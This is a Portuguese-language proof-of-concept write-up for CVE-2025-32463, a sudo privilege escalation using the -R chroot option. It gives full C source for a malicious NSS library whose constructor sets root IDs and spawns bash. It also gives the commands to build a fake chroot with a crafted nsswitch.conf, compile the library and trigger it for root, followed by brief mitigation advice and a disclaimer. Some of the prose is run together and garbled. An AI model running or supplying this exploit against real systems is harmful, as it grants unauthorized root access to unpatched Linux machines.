
Um exploit PoC para CVE-2025-32463 - Escalação de Privilégios no Sudo
Existe uma vulnerabilidade de escalação de privilégio no sudo que afeta sistemas baseados em Linux/Unix. A falha surge devido à validação inadequada de caminho quando o sudo é usado com a opção -R (--chroot), permitindo que atacantes escalem para root através do carregamento malicioso de bibliotecas NSS.
sudo executa um comando dentro de um ambiente chroot (opção -R), ele lida incorretamente com o carregamento de bibliotecas NSS (Name Service Switch) durante condições de erro.LD_LIBRARY_PATH ou caminhos em /etc/nsswitch.conf) pode levar ao carregamento de uma biblioteca maliciosa em vez da biblioteca NSS legítima (ex.: libnss_files.so).sudo para a versão corrigida mais recente.sudo (limite o uso de chroot quando possível).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path no /etc/sudoers para limitar os caminhos de busca de bibliotecas.| Componente | Gatilho da Vulnerabilidade |
|---|---|
sudo -R | Validação incorreta do caminho chroot. |
| NSS | Carregamento inseguro de bibliotecas durante erros. |
| Exploit | Sequestro de caminho → Carregamento de biblioteca maliciosa. |
ID CVE: CVE-2025-32463
Versões Afetadas: Sudo 1.9.14 a 1.9.17
Pontuação CVSS: 9.8 (Crítico)
Impacto: Escalação local de privilégio para root
Se responder com No such file or directory então está vulnerável:
sudo -R invalid invalid
sudo: invalid: No such file or directory
Primeiro, criamos um diretório temporário para trabalhar:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Isso cria um diretório temporário com nome único e navega para dentro dele. O comando mktemp garante que não interferimos com arquivos existentes do sistema.
Precisamos criar um arquivo C (bridge90.c) que será compilado em uma biblioteca maliciosa:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Define o ID de usuário real e efetivo como root
setregid(0,0); // Define o ID de grupo real e efetivo como root
chdir("/"); // Muda para o diretório raiz
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Executa o shell
}
Componentes principais:
__attribute__((constructor)) garante que a função seja executada quando a biblioteca é carregada
setreuid e setregid escalam privilégios para root
execl inicia um bash shell
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Detalhamento:
Cria um ambiente chroot falso em bridge/etc
Modifica nsswitch.conf para apontar para nosso caminho malicioso
Copia o arquivo /etc/group real para manter a legitimidade
Cria um diretório para nossa biblioteca maliciosa
Compila o código C em uma biblioteca compartilhada nomeada conforme as convenções do NSS (Name Service Switch)
sudo -R bridge bridge
Este comando tenta usar nosso ambiente criado:
O primeiro bridge é o diretório chroot contendo nossa configuração maliciosa
O segundo bridge é o comando a ser executado (que carregará nossa biblioteca)
Após a exploração bem-sucedida, verifique o acesso root:
whoami # Deve retornar "root"
id -u # Deve retornar "0" (UID do root)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]Este PoC de exploração é apenas para fins educacionais! Não sou responsável por qualquer uso indevido que você possa causar com esta exploração!